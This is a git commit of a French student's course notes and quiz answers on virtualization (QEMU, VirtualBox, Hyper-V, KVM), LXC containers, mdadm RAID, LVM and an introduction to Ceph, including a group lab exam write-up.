commit bb74ba5173e24ea7a11c05548de97b34280cdb1c Author: gauvainboiche Date: Tue Aug 4 16:42:35 2026 +0200 Reupload (purge) diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..d847dd1 --- /dev/null +++ b/.gitignore @@ -0,0 +1,4 @@ +desktop.ini +**/__pycache__/ +**/.venv/ +**/.vscode/ \ No newline at end of file diff --git a/.python-version b/.python-version new file mode 100644 index 0000000..6324d40 --- /dev/null +++ b/.python-version @@ -0,0 +1 @@ +3.14 diff --git a/Readme.md b/Readme.md new file mode 100644 index 0000000..ad1bbf9 --- /dev/null +++ b/Readme.md @@ -0,0 +1,7 @@ +# Cours LiveCampus + +Par Gauvain Boiché, promotion MCS 2027.2 de LiveCampus. Début des cours 20 octobre 2025. + +## Projet + +Il est privé pour que les réponses ne fuitent pas. Mais il est disponible sur demande pour vérifier... je ne sais pas, mon assiduité ? Mes réponses ? Ma hiérarchistation des dossiers de prises de notes ? \ No newline at end of file diff --git a/Semaine_01/Jour_02.md b/Semaine_01/Jour_02.md new file mode 100644 index 0000000..48f23f4 --- /dev/null +++ b/Semaine_01/Jour_02.md @@ -0,0 +1,76 @@ +# L'infra avancée : + +## Exercice 1 + +### Lancer une machine + +`qemu-img create -f qcow2 'C:\Program Files\qemu\testVM.qcow2' 10G` + +`qemu-system-x86_64 -m 2048 -hda 'C:\_VMs\testVM.qcow2' -cdrom 'D:\Users\GaWin\Downloads\_Compressed\debian-13.1.0-amd64-netinst.iso' -boot d` + +Pour lancer une machine depuis le disque : + +`qemu-system-x86_64 -m 4096 -smp 4 -hda 'C:\_VMs\testVM.qcow2' -boot c` + +- -boot d : Boot sur le CD/ROM +- -boot c : Boot sur le Disque Dur +- m XXXX : Alloue une mémoire RAM fixe +- smp X : Alloue un nombre de coeurs virtuels fixe + +Pour convertir le .qcow2 en .vdi, dans l'interface c'est plus clair. + +## Exercice 2 + +### Créer une VM + +Pour refaire une VM en CLI : + +``` +vboxmanage createvm --basefolder="C:\_VMs\VirtualCreationCLI" --register --name "VirtualBoxCLI" + +vboxmanage storagectl "VirtualBoxCLI" --name "sata-controller" --add sata --controller IntelAHCI --portcount 1 --bootable on + +vboxmanage storageattach "VirtualBoxCLI" --storagectl "sata-controller" --port 0 --device 0 --type hdd --medium ".\test_copy.vdi" + +vboxmanage modifyvm "VirtualBoxCLI" --memory 4096 --cpus 4 +``` + +### Convertir un disque virtuel .qcow2 en CLI + +https://github.com/michaelrudy/qemu-img-convert + +D'abord, dans la VM d'origine, il faut préparer la transition : + +``` +sudo tee /etc/dracut.conf.d/hyperv.conf >/dev/null <<'EOF' +add_drivers+=" hv_vmbus hv_storvsc hv_netvsc hv_utils " +hostonly="no" +EOF + +sudo dracut -f --kver "$(uname -r)" + +ls -lh /boot/initramfs-$(uname -r).img ### pour confirmer + +cat /etc/fstab +blkid + +sudo shutdown -h now +``` + +`qemu-img convert -f qcow2 -O vhdx -o subformat=dynamic .\test.qcow2 .\test_copy.vhdx` + +Bizarrement, pour que la conversion soit prise en compte par Hyper-V, il faut lancer cette commande : + +`fsutil sparse setflag .\test_copy.vhdx 0` + +### Cloner une VM en CLI + +Exporter pour VirtualBox +`vboxmanage clonevm "VirtualBoxCLI" --basefolder ".\NewVirtualBoxCLI" --name "NewVirtualBoxCLI" --register` + +Exporter pour HyperV +``` +Export-VM -Name "HyperVCLI" -Path "C:\_VMs\HyperVCLI" -CaptureLiveState CaptureSavedState + +Import-VM -Name "NewHyperVCLI" -Path "C:\_VMs\HyperVCLI\{ID-de-ses-morts}.vmcx" -Copy -GenerateNewId -VirtualMachinePath "C:\_VMs\NewHyperVCLI" -VhdDestinationPath "C:\_VMs\NewHyperVCLI" +``` \ No newline at end of file diff --git a/Semaine_01/Jour_03.md b/Semaine_01/Jour_03.md new file mode 100644 index 0000000..49d8a37 --- /dev/null +++ b/Semaine_01/Jour_03.md @@ -0,0 +1,161 @@ +# Infra avancée + +## Cours + +### Contenerisation + +- Namespace : les processus ne peuvent pas voir les ressources utilisées par l'hôte ou ses congénères +- cgroups : contrôle des ressources allouées à un processus + +#### Solutions : + +- Docker / Podman +- OpenVZ +- Les zones (Solaris) +- Les jails (FreeBSD) +- LXC + +### LXC + +``` +# Avec interactivté +sudo lxc-create -n NOM_CONTENEUR -t download + +# Sans interactivité (pour script) +sudo lxc-create --template=download --name NOM_CONTENEUR -- --dist NOM_DISTRIBUTION --release NUMERO_VERSION --arch amd64 +``` + +``` +# Démarrer +sudo lxc-start -n NOM_CONTENEUR + +# Entrer dans un conteneur +sudo lxc-attach -n NOM_CONTENEUR + +# Stopper +sudo lxc-stop -n NOM_CONTENEUR + +# Supprimer +sudo lxc-destroy -n NOM_CONTENEUR + +# Lister +sudo lxc-ls (--active, --running, --frozen) + +# Info sur conteneur précis +sudo lxc-info -n NOM_CONTENEUR +``` + +Fichier config du conteneur (/var/lib/lxc/xxx) : +``` +# Méthode 1 : Montage d'un dossier de l'hôte +lxc.mount.entry = /dossier_hote dossier_interne_conteneur none bind,create=dir 0 0 + +# Méthode 2 : Montage d'un disque entier ou partition de l'hôte +lxc.mount.entry = /dev/disque_ou_partition dossier_interne_conteneur FS_type defaults,create=dir 0 0 +``` + +## Exercice 1 + +https://dl-cdn.alpinelinux.org/alpine/v3.17/releases/x86_64/alpine-xen-3.17.10-x86_64.iso + +``` +wget https://cdimage.debian.org/debian-cd/current/amd64/iso-cd/debian-13.1.0-amd64-netinst.iso + +mv debian-13.1.0-amd64-netinst.iso debian.iso + +sudo chmod 666 debian.iso +``` + +Ensuite + +``` +sudo virt-install \ +--name test-vm \ +--os-variant=debiantesting \ +--ram 2048 \ +--vcpus 2 \ +--location ./debian.iso \ +--disk path=/var/lib/libvirt/images/vm.qcow2,size=15,format=qcow2 \ +--graphics none \ +--console pty,target_type=serial \ +--extra-args "console=ttys0,115200n8 serial" +``` + +`virsh attach-interface --type bridge --source enp0s3 --model virtio test-vm` + +## Exercice 2 + +### Petit A + +C'est installé. + +### Petit B + +``` +sudo lxc-create -n ConteneurDebian -t download +# debian, bullseye, amd64 + +sudo lxc-start ConteneurDebian +sudo lxc-attach ConteneurDebian + +### In the container ### +uname -a + +> Linux ConteneurDebian 6.1.0-40-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.153-1 (2025-09-20) x86_64 GNU/Linux + +cat /proc/version +> Linux version 6.1.0-40-amd64 (gcc-12 (Debian 12.2.0-14+deb12u1) 12.2.0, GNU ld (GNU Binutils for Debian) 2.40) #1 SMP PREEMPT_DYNAMIC Debian 6.1.153-1 (2025-09-20) + +exit + +### Outside the container ### + +sudo lxc-ls +> ConteneurDebian Test-Linux + +sudo lxc-ls --running +> ConteneurDebian + +sudo lxc-stop ConteneurDebian + +sudo lxc-ls --running +> +``` + +### Petit C + +``` +sudo ls -glAiF /var/lib/lxc/ +> ConteneurDebian +> Test-Linux + +sudo ls -glAiF /var/lib/lxc/ConteneurDebian +> -rw-r----- root config +> drwxr-xr-x root rootfs/ + +sudo du -h -glAiF /var/lib/lxc/ConteneurDebian +> ... +> 412M + +sudo lxc-copy -n ConteneurDebian -N NewConteneur ### -N pour NewName + +sudo ls -glAiF /var/lib/lxc/ +> ConteneurDebian +> NewConteneur +> Test-Linux +``` + +### Petit D + +``` +sudo nano /var/lib/lxc/ConteneurDebian/config + +### Dans le fichier config ### + +# Folder Attachment +lxc.mount.entry = /mnt/lxc-debian-storage /var/lib/lxc/ConteneurDebian/rootfs/data none bind,create=dir 0 0 + +### Fin du fichier config ### + + +``` \ No newline at end of file diff --git a/Semaine_01/Jour_03/Questionnaires/02.2.2 Questionnaire + Correction sur La containérisation.pdf b/Semaine_01/Jour_03/Questionnaires/02.2.2 Questionnaire + Correction sur La containérisation.pdf new file mode 100644 index 0000000..c1e18b9 Binary files /dev/null and b/Semaine_01/Jour_03/Questionnaires/02.2.2 Questionnaire + Correction sur La containérisation.pdf differ diff --git a/Semaine_01/Jour_03/Questionnaires/Infrastructure Avancée - 02.1.2 Virtualiser des machines.pdf b/Semaine_01/Jour_03/Questionnaires/Infrastructure Avancée - 02.1.2 Virtualiser des machines.pdf new file mode 100644 index 0000000..f8d02ea Binary files /dev/null and b/Semaine_01/Jour_03/Questionnaires/Infrastructure Avancée - 02.1.2 Virtualiser des machines.pdf differ diff --git a/Semaine_01/Jour_03/Questionnaires/Questionnaire 02. Les différents types d_infrastructure avancées.pdf b/Semaine_01/Jour_03/Questionnaires/Questionnaire 02. Les différents types d_infrastructure avancées.pdf new file mode 100644 index 0000000..fbb4eab Binary files /dev/null and b/Semaine_01/Jour_03/Questionnaires/Questionnaire 02. Les différents types d_infrastructure avancées.pdf differ diff --git a/Semaine_01/Jour_03/Questionnaires/Questionnaire et correction 01. Introductions aux Infrastructures Avancées.pdf b/Semaine_01/Jour_03/Questionnaires/Questionnaire et correction 01. Introductions aux Infrastructures Avancées.pdf new file mode 100644 index 0000000..179face Binary files /dev/null and b/Semaine_01/Jour_03/Questionnaires/Questionnaire et correction 01. Introductions aux Infrastructures Avancées.pdf differ diff --git a/Semaine_01/Jour_03/Questionnaires/Reponses.md b/Semaine_01/Jour_03/Questionnaires/Reponses.md new file mode 100644 index 0000000..c6485fa --- /dev/null +++ b/Semaine_01/Jour_03/Questionnaires/Reponses.md @@ -0,0 +1,85 @@ +# Exos + +Les réponses entre guillements anglais "" sont des corrections. + +## 02.2.2 Questionnaire + Correction sur La containérisation + +1. La virtualisation classique embarque un noyau complet ainsi que les couches micro-logiciels et divers pilotes. Un conteneur n'embarque que la partie applicative et repose sur un noyau principal de la machine hôte +2. LXC embarque des conteneurs complets, avec kernels, sorte de VM légèrement allégée et plus flexible. Docker conteneurise à l'ancienne +3. "cgroups et namespaces" +4. En dur : Librairie C, kernel linux supérieur à 3.8. Recommandé : libcap, libapparmor, libselinux, libseccomp, libgnutls, liblua, python3-dev +5. libcap (to allow for capability drops), libapparmor (to set a different apparmor profile for the container), libselinux (to set a different selinux context for the container), libseccomp (to set a seccomp policy for the container), libgnutls (for various checksumming), liblua (for the LUA binding), python3-dev (for the python3 binding) +6. Non, Docker a son propre démon +7. "Extension de LXC qui apporte des fonctions avancées comme gestion à distance et snapshot" +8. Oui. sudo lxc-copy avec l'option --snapshot / "lxc-snapshot" +9. "lxc network attach-profile PROFIL RESEAU" +10. lxc-cgroup -n NOM_CONTENEUR cpuset.cpus "0,1" #Limite l'usage du conteneur aux coeurs 0 et 1 +11. lxc-cgroup -n NOM_CONTENEUR memory.limit_in_bytes "8000" #Does 1MB +12. "Oui, si le conteneur est éteint, en SCP via SSH" +13. "Non, sauf avec des outils tiers pas très fiables" +14. /var/lib/lxc/ +15. /var/lib/lxc/NomDuConteneur/config + +## Infrastructure Avancée . 02.1.2 Virtualiser des machines + +1. Installer un système d'exploitation complet sans avoir à gérer l'hébergement machine par machine "et isolée du système" +2. Virtualisation complète, "para-virtualisation, et isolation" +3. Ca dépend de ce qu'on recherche. Maintenant la plus "perfomante" au sens gourmandise matérielle, c'est la conteneurisation +4. Virtualiser c'est porter un SE sur une grosse bécane. Emulation c'est "convertir" une architecture matérielle (processeur) pour l'adapter à une autre archi +5. Le mieux c'est une couche d'abstraction genre QEMU pour émuler +6. Mode NAT configuré en sortie routeur (plus standard), mode pont (plus simple), mode Switch interne derrière un VLAN/routeur (plus sécurisé) +7. Oracle c'est gratuit mais limité si on veut professionnaliser l'infra. VMWare c'est payant et devenu de la merde +8. "virsh (virtual shell)" +9. "Le groupe Virtualization Host" +10. "vboxdrv, solution obsoilète" +11. Lance une VM avec KVM activé, le disque virtuel 'ubuntudisquedur' attaché, une image .iso d'ubuntu en option de boot principale, "1024MB de RAM," avec deux interfaces réseaux et pas d'option ACPI +12. vboxmanage +13. Gérer plus nativement des déploiements de VM par script sur des serveurs neufs et sans paquets installés / "contrôle total au plus bas-niveau possible" +14. "RAW" +15. QCOW2 +16. Oui mais c'est chaud +17. Oui, avec qemu-img convert +18. "cpu-checker" +19. "kvm-ok" +20. "Xen, VMWare, Hyper-V" +21. Hyper-V +22. Hyperviseur de type 1 (et pas 2 comme on pourrait le croire) +23. ESXi c'est du type 1 bare-metal, Workstation du type 2 +24. "Oui, ESXi est compatible AMD et ARM" +25. "Client graphique permettant la gestion d'un seul hôte ESXi" +26. Passthrough +27. Hyperviseur type 1 basé sur un Debian fortement modifié, open-source et gratuit +28. .vhdx, historiquement .vhd +29. "Non" +30. "On peut utiliser Linux Virtual Manager (interface bureau), ou Cockpit (interface web)" + +## Questionnaire 02. Les différents types d_infrastructure avancées + +1. "Centralisée (tout le contenu au même endroit), distribuée (), hybride ()." +2. "Infra distribuée" +3. Les +, de la résilience, les -, des configs en plus à faire pour rester en sécurité +4. "La couche leaf" +5. "Elle est évolutive et permet une communication de paquet très rapide, ce qui est idéal pour une infrastructure centralisée/un datacenter" +6. "Le middleware est un logiciel intermédiaire se trouvant entre client lourd et machine finale. Il peut se trouver sur une machine client ou intermédiaire dédiée, ou même le serveur final, et parfois sur les trois." +7. Network Access Storage. En anglais dans le texte +8. Non. Sécurité + RGPD +9. "Unité de stockage à distance, 'Logicial Unit in Network' car n'importe quelle techno peut se cacher derrière." +10. SAN, Storage Area Network +11. "On utilise le nom de 'fabric'" +12. Bah, pas forcément... si les données doivent être cloisonnées, c'est un usage pertinent. Au pire on peut ouvrir le SAN pour plus de ressources si besoin +13. Moins de latence, moins de déconnexions = moins de corruption dans les transferts +14. "Couche coeur réseau, couche Agrégation, couche Accès" +15. "Le trafic ne va plus être optimisé et devra passer par plus d'appareils qu'il était autrefois nécessaire" + +## Questionnaire et correction 01. Introductions aux Infrastructures Avancées + +1. ??? Genre l'archi AMD64, les transistors nanométriques, le PCI-E génération 5, la fibre optique, le protocole Wireguard... comment ça ? +2. ?????? et bien, multiplier la résilience, les facilités de déploiement, réduire les besoins en gestion matérielle... comment ça ? +3. ????????? Gain de productivité à gérer un seul hébergeur, centralisation des factures, interconnexion facilitées dans un VPC donné... comment ça ? +4. Le public veut moins attendre et pardonne moins les interruptions de service +5. Méthode 1,2,3 et ensuite avoir des CDN locaux réduit la latence en régional +6. "Années 50-60" +7. "Années 80" +8. "Années 2000" +9. La prince elle a dit que le stockage, maintenant, ça coûte pas cher +10. "Le fait de place les données d'un SI au plus proche du client, à l'extrémité du réseau étendu" \ No newline at end of file diff --git a/Semaine_01/Jour_04.md b/Semaine_01/Jour_04.md new file mode 100644 index 0000000..2b88e48 --- /dev/null +++ b/Semaine_01/Jour_04.md @@ -0,0 +1,255 @@ +# Infra avancée + +## Cours 1 + +Redimensionner une partition sur Linux + +``` +# Pour EXT2/3/4 +sudo resize2fs +# Pour XFS +sudo xfs_growfs +``` + +Traiter les disques sur MDADM +``` +# Déclarer disque défectueux +sudo mdadm --fail /dev/ +# Le retirer +sudo mdadm --remove /dev/ +# Le rajouter +sudo mdadm --add /dev/mdx /dev/sdx # AJout comme Hot-Spare +``` + +Pour enlever les traces du raid : + +``` +sudo mdadm --zero-superblock /dev/sdx +``` + +## Exercice 1 + +Tuto parfait : https://ruan.dev/blog/2022/06/29/create-a-raid5-array-with-mdadm-on-linux + +``` +sudo apt install mdadm -y + +lsblk +> sde, sdg, sdh + +fdisk /dev/sdx + n # ajouter une -n-ouvelle partition + p # partition -p-rimaire + 1 # index de la partition + [default] # bloc de début + [default] # bloc de fin + + t # modifier le -t-ype d'une partition + L # -l-iste tous les codes hexa + fd # RAID Linux auto + + w # écrire (-w-rite) la table sur le disque et quitter + +sudo mdadm --create /dev/md127 --level=5 --raid-devices=3 /dev/sde1 /dev/sdg1 /dev/sdh1 + +mkfs.ext4 /dev/md127 + +sudo mount /dev/md127 /mnt +``` + +Eteindre, ajouter un disque, étendre la partition +``` +lsblk +> sdh + +fdisk /dev/sdh + n + p + 1 + [default] + [default] + + t + fd + + w + +sudo mdadm --add /dev/md127 /dev/sdh1 + +sudo mdadm --detail /dev/md127 +> Active Devices : 3 +> Working Devices : 4 +> Spare Devices : 1 + +sudo mdadm --add /dev/md127 --raid-devices=4 + +sudo mdadm --detail /dev/md127 +> Active Devices : 4 +> Working Devices : 4 +> Spare Devices : 0 + +sudo e2fsck -f /dev/md127 + +sudo resize2fs /dev/md127 + +sudo mount /dev/md127 /mnt/sauvegarde + +df -h /mnt/sauvegarde +> Sys. de fichiers Taille Utilisé Dispo Uti% Monté sur +> /dev/md127 3,0G 28K 2,8G 1% /mnt/sauvegarde +``` + +## Cours 2 + +### LVM + +Créer volume LVM depuis disque physique + +``` +pvcreate /DEVICE1 /DEVICE2 /DEVICE3 + +# Intégrer ces volumes à un groupe de volume +vgcreate NOM_DU_VG /DEVICE1 /DEVICE2 + +# On découpe ces volumes +lvcreate -l TAILLE -n NOM_DU_LV NOM_DU_VG +``` + +VG et LV peuvent être accessibles par plusieurs chemins + +`/dev/mapper/` + +Identifier LV ou VG + +``` +# Identifier LV ou VG +sudo lvdisplay vgdisplay + +sudo lvremove + +sudo +``` + +Etendre VG + +``` +sudo vgdisplay + +sudo vgextend NOM_DU_VG/PV_SUPPLEMENTAIRE + +# Pour tester + +``` + +Identifier le LV à étendre + +``` +sudo lvdisplay + +sudo lvextend MON_VG/NOM_DU_LV /PV_SUPPLEMENTAIRE + +# Option pour donner une taille délimitée +sudo lvextend -L +00M +``` + +Il faut redimensionner à chaud après l'extension avec `--resizefs` à chaud, toucher à un LV ne change pas la taille du système de fichiers. + +Réduire un VG + +``` +sudo vgdisplay + +sudo +``` + +## Exercice 2 + +### Partie 1 + +A créer, avec chacun deux disques : +``` +Nom MD Taille Type FS Nom VL1-nom VL1-taille VL1-mnt VL2-nom VL2-taille VL2-mnt +----------------------------------------------------------------------------------------------------------------------------------- +/dev/md123 2GO RAID1 btrfs "Production" "Current" 50% /mnt/prod/Current - - - +/dev/md124 2GO RAID1 XFS "Sauvegarde" "Current" 100% /mnt/sauv/current - - - +/dev/md125 2GO RAID1 EXT4 "Développement" "x86_64" 60% /mnt/dev/x86_64 "ARM" 40% /mnt/dev/arm +/dev/md126 2GO RAID1 EXT4 "Laboratoire" "Current" 100% /mnt/labo/current - - +``` + +Maintenant on colle les ressources. + +Pour attribuer des % de taille aux LV : +``` +sudo lvcreate -l 100%FREE # Toute la place restante +sudo lvcreate -l 50%VG # 50% de la taille totale du VG +sudo lvcreate -l 30%FREE # 30% de la place restante ACTUELLE +``` + +- +``` +sudo mdadm --create /dev/md12x --level=1/0 --raid-devices=2 /dev/sdx1 /dev/sdy1 + +sudo pvcreate /dev/md123 +sudo vgcreate Production /dev/md123 +sudo lvcreate -l 50%VG -n Current Production + +sudo pvcreate /dev/md124 +sudo vgcreate Sauvegarde /dev/md124 +sudo lvcreate -l 100%VG -n Current Sauvegarde + +sudo pvcreate /dev/md125 +sudo vgcreate Developpement /dev/md125 +sudo lvcreate -l 60%VG -n x86_64 Developpement +sudo lvcreate -l 100%FREE -n ARM Developpement + +sudo pvcreate /dev/md126 +sudo vgcreate Laboratoire /dev/md126 +sudo lvcreate -l 100%VG -n Current Laboratoire + +sudo lvs -o lv_name,vg_name,lv_size,attr + +sudo mkfs.btrfs /dev/mapper/Production-Current +sudo mkfs.xfs /dev/mapper/Sauvegarde-Current +sudo mkfs.ext4 /dev/mapper/Developpement-x86_64 +sudo mkfs.ext4 /dev/mapper/Developpement-ARM +sudo mkfs.ext4 /dev/mapper/Laboratoire-Current + +sudo mount /dev/mapper/Production-Current /mnt/prod/current +sudo mount /dev/mapper/Sauvegarde-Current /mnt/sauv/current +sudo mount /dev/mapper/Developpement-x86_64 /mnt/dev/x86_64 +sudo mount /dev/mapper/Developpement-ARM /mnt/dev/arm +sudo mount /dev/mapper/Laboratoire-Current /mnt/labo/current +``` + +### Partie 2 + +``` +sudo mdadm --manage /dev/md123 --fail /dev/sdh + +sudo mdadm --manage /dev/md123 --remove /dev/sdh + +sudo sgdisk -Z /dev/sdi +sudo sgdisk -n1:0:0 -t1:fd00 /dev/sdi + +sudo mdadm --manage /dev/md123 --add /dev/sdq +``` + +### Partie 3 + +``` +sudo mdadm --add /dev/md126 /dev/sdi + +sudo mdadm --grow /dev/md126 --raid-devices=3 + +sudo pvresize /dev/md126 + +sudo lvextend -l +100%FREE /dev/mapper/Laboratoire-Current + +sudo resize2fs /dev/mapper/Laboratoire-Current +``` + +### Partie 4 + +``` +sudo mdadm --add /dev/md123 /dev/sdj +``` \ No newline at end of file diff --git a/Semaine_01/Jour_05_Examen.md b/Semaine_01/Jour_05_Examen.md new file mode 100644 index 0000000..664a7e2 --- /dev/null +++ b/Semaine_01/Jour_05_Examen.md @@ -0,0 +1,353 @@ +Emmanuel-Joyce Ntsia, Gauvain BOICHÉ, Joris Stavroulakis, Léo Jarry, + +# Virtualisation, Containérisation d'OS, Stockage évolutif & résilient + +Pour démarrer l'évaluation on est parti sur une VM avec ces spécifications : + +- Debian 13.1.0-amd64-netinst +- 8 Coeurs Logiques +- 8 Go RAM +- 20 Go d'espace disque (disque 1, le disque système) + +À partir de là on a commencé par installer toutes les dépendances nécessaires + +## 1.1 Installation des paquets pour libvirt / KVM / Qemu + +On commence par installer et configurer tout ce qui sera nécessaire pour la virtualisation : + + sudo apt install bridge-utils cpu-checker libvirt-clients libvirt-daemon-system virtinst qemu-kvm virt-manager -y + + sudo usermod -aG kvm $USER + sudo usermod -aG libvirt $USER + + + + + +## 1.2 Installation des paquets pour la containérisation LXC + +Ensuite on installe tout ce qui sera nécessaire pour la conteneurisation : + + sudo apt install lxc lxctl lxc-templates -y + + + +## 1.3 Installation du paquet mdadm pour le RAID + +Enfin on installe **mdadm** pour créer et gérer le RAID + + sudo apt install mdadm -y + + + +## 2.1 Ajout des 4 disques pour le RAID5 (3 disques actifs + un hotspare) + +On a choisi un RAID de type 5 pour la tolérance de panne **et** les performances, on est parti sur des disques de 4Go, ce qui s'avèrera (voir la suite) ne pas être assez, donc il faudra agrandir par la suite : + + + +## 2.2 Mise en place du RAID5 + +D'abord on repère les disques qu'on va mettre dans le RAID : + + sudo lsblk + + + +Ensuite on créé ce dernier en précisant le type et le nom : + + sudo mdadm --create /dev/md1 --level=5 --raid-devices=3 /dev/sdb /dev/sdc /dev/sdd + + + +On ajoute le disque ***sde*** en tant que hotspare pour notre RAID : + + sudo mdadm --add /dev/md1 /dev/sde + + + + +On vérifie que tout est en place : + + sudo mdadm --detail /dev/md1 + + + +On voit que le RAID5 avec *hotspare* est bien en place, on peut passer à la partie LVM + +## 2.3 Mise en place du LVM + +Ici on commence par déclarer le pv qu'on va utiliser, notre RAID : + + sudo pvcreate /dev/md1 + + + +Ensuite on créé le volume group nommé ***eval*** et les deux logical volume ***vms*** et ***conteneurs*** : + + sudo vgcreate eval /dev/md1 + + sudo lvcreate -l 50%FREE -n vms eval + + sudo lvcreate -l 100%FREE -n conteneurs eval + + + +Ensuite on formate les volumes pour mettre le système de fichiers *ext4* : + + sudo mkfs.ext4 /dev/mapper/eval-vms + + sudo mkfs.ext4 /dev/mapper/eval-conteneurs + + + +Puis on ajoute les labels : + + sudo tune2fs -L vmsfs /dev/mapper/eval-vms + + sudo tune2fs -L conteneursfs /dev/mapper/eval-conteneurs + + + +On vérifie qu'ils sont bien mis : + + + +## 2.4 Mise en place du montage au démarrage + +On prépare les dossiers pour le montage de nos volumes : + + sudo mkdir -p /mnt/vms /mnt/conteneurs + + + +On modifie le fstab pour que le montage se fasse au démarrage du système : + + sudo nano /etc/fstab + + + +### 2.5 Montage des volumes + +Ici on le monte directement (plutôt que de devoir redémarrer), pour ça on oublie pas de relancer le service : + + sudo systemctl daemon-reload + + + +On monte les volumes sur les dossiers précédemment créés : + + sudo mount -t ext4 /dev/mapper/eval-vms /mnt/vms + sudo mount -t ext4 /dev/mapper/eval-conteneurs /mnt/conteneurs + + + +## 3.1 Installation des conteneurs LXC + +Maintenant que tout est préparé on peut commencer à faire les conteneurs et les vms, on a décidé de commencer par les conteneurs + +### 3.1.1 Le conteneur Debian + +On installe le conteneur Debian : + + sudo lxc-create -n debianLXC -t download -- -d debian -r bullseye + + + +On crée le dossier qui servira de volume rattaché à ce conteneur : + + sudo mkdir /mnt/conteneurs/debianlxc + + + +On va modifier le fichier de config pour le rattacher justement : + + sudo nano /var/lib/lxc/debianLXC/config + + + + + +### 3.1.2 Le conteneur Ubuntu + +On installe le conteneur Ubuntu : + + sudo lxc-create -n ubuntuLXC -t download -- -d ubuntu -r noble + + + +On créé le dossier qui servira de volume rattaché à ce conteneur : + + sudo mkdir /mnt/conteneurs/ubuntulxc + + + +On va modifier le fichier de config pour le rattacher justement : + + sudo nano /var/lib/lxc/ubuntuLXC/config + + + + + +### 3.1.3 Le conteneur Fedora + +On installe le conteneur Fedora : + + sudo lxc-create -n fedoraLXC -t download -- d fedora -r 42 + + + +On crée le dossier qui servira de volume rattaché à ce conteneur : + + sudo mkdir /mnt/conteneurs/fedoralxc + + + +On va modifier le fichier de config pour le rattacher justement : + + sudo nano /var/lib/lxc/fedoraLXC/config + + + + + +## 3.2 Installation des VMS + +Maintenant que les conteneurs sont installés et configurés on passe aux VMs + +### 3.2.1 La VM Debian + +On commence à créer un dossier dans lequel on rangera le disque de la VM (ainsi que son iso au passage) : + + sudo mkdir debian + + + +On télécharge le fichier iso : + + sudo wget https://cdimage.debian.org/mirror/cdimage/archive/11.11.0/amd64/iso-cd/debian-11.11.0-amd64-netinst.iso + + + +On crée le disque (qui s'avèrera trop petit, voir la suite) : + + sudo qemu-img create -f qcow2 debian.qcow2 2G + + + +On lance l'installation avec ***virt-install*** : + + sudo virt-install \ + --name debianVM \ + --os-variant=debian11 \ + --ram 2048 \ + --vcpus 2 \ + --location /mnt/vms/debian/debian-11.11.0-amd64-netinst.iso \ + --disk debian.qcow2 \ + --graphics none \ + --console pty,target_type=serial \ + --extra-args='console=ttyS0,115200n8 serial' + + + +On a manqué de place pour l'installation, donc on rajoute deux disques de 4Go au raid et au LVM pour recommencer : + + + + +On ajoute nos deux disques au RAID (Après le reboot le md1 a été renommé par le système en md127) : + + sudo mdadm --add /dev/md127 /dev/sdf /dev/sdg + + + +On oublie pas cette commande, sinon nos disques seront juste en spare : + + sudo mdadm --grow /dev/md127 --raid-devices=5 + + + +*Et ensuite il faut bien sûr étendre le LVM (**après avoir attendu que le reshape du RAID ait fini**)* + +On commence par resize le pv : + + sudo pvresize /dev/md127 + + + +On étend ensuite notre volume dédié au VM pour lui accorde 100% du nouvel espace libre : + + sudo lvextend -l +100%FREE --resizefs /dev/mapper/eval-vms + + + +Ensuite on undefine le debianVM créé précédemment pour refaire l'installation à zéro : + +*(Cette étape est nécessaire pour pouvoir utiliser le disque avec le même nom qu'avant, sinon virt croit que le disque est déjà utilisé par une autre VM)* + + sudo virsh undefine debianVM + + Puis on supprime le disque : + + sudo rm debian.qcow2 + + Et on le recrée avec une plus grande taille : + + sudo qemu-img create -f qcow2 debian.qcow2 5G + + Et on refait l'installation avec la commande virt-install utilisée au-dessus, voici le résultat : + + + + + +### 3.2.2 La VM Ubuntu + +On commence à créer un dossier dans lequel on rangera le disque de la VM (ainsi que son iso au passage) : + + sudo mkdir /mnt/vms/ubuntu + + + +On télécharge le fichier iso : + + sudo wget https://cdimage.ubuntu.com/ubuntu-legacy-server/releases/20.04/release/ubuntu-20.04.1-legacy-server-amd64.iso + + + +On créé notre disque de 6Go : + + sudo qemu-img create -f qcow2 ubuntu.qcow2 6G + + + +On lance l'installation : + + sudo virt-install \ + --name ubuntuVM \ + --os-variant=ubuntu20.04 \ + --ram 4096 \ + --vcpus 4 \ + --location /mnt/vms/ubuntu/ubuntu-20.04.1-legacy-server-amd64.iso \ + --disk ubuntu.qcow2 \ + --graphics none \ + --console pty,target_type=serial \ + --extra-args='console=ttyS0,115200n8 serial' + + + + + +L'installation du ubuntu va jusqu'au bout, mais après on a un écran "noir" comme mentionné par le formateur, donc impossible d'aller plus loin : + + + + + +Mais on a réussi à y accéder grâce à SSH et au final tout fonctionne : + + sudo nmap 192.168.122.0/24 -sP # pour trouver l'ip de la VM ubuntu + + + diff --git a/Semaine_01/Jour_05_Examen.pdf b/Semaine_01/Jour_05_Examen.pdf new file mode 100644 index 0000000..e82c4d9 Binary files /dev/null and b/Semaine_01/Jour_05_Examen.pdf differ diff --git a/Semaine_02/Jour_01.md b/Semaine_02/Jour_01.md new file mode 100644 index 0000000..9663c49 --- /dev/null +++ b/Semaine_02/Jour_01.md @@ -0,0 +1,79 @@ +# CEPH : Architecture générale + +## Programme + +- CEPH +- VLAN +- Trunking +- Routage Inter-VLAN + +## Objectifs + +Nécessité du CEPH, son architecture, le rôle de CRUSH, des Pools, des PG. Distinguer les 3 services de stockage possibles. Connaître les bonnes pratiques. + +### Pourquoi CEPH + +Il peut continuer le stockage en cas de panne de disque/noeud/switch. Plus évolué que le RAID, il trouvera d'autres stockages en : +- scalant en ajoutant des machines +- ne se concentrant pas sur un SPOF +- utilisant du stockage bloc, fichier, ou l'objet +- équilibrant le stockage avec ce qu'il a à disposition + +CEPH repose sur une couche logicielle nommée RADOS, composée de 3 daemons : +- MON (ceph-mon) : Moniteur, gère la carte du cluster (qui est en vie, où sont les données, quelles règles de placement) +- OSD (ceph-osd) : Stocke les données +- MGR (ceph-mgr) : Manager, surveille, fournit de la métrique, met de l'orchestration supplémentaire + +Il existe des démons supplémentaires : +- MDS (ceph-mds) : Uniquement si on stocke en mode système de fichiers, avec CephFS +- RGW (radosgw) : Passerelle (Gateway) pour stockage S3 +- RBD (radosblocks) : Stockage en mode blocs + +### Où se trouvent les données + +Ceph utilise l'algorithme CRUSH. Il décide où mettre les données en fonction d'une carte décrivant une topologie. +- Le placement est déterministe : tout le monde obtient le même résultat chacun de son côté. +- Pas de BDD. + +### Nomenclature + +- 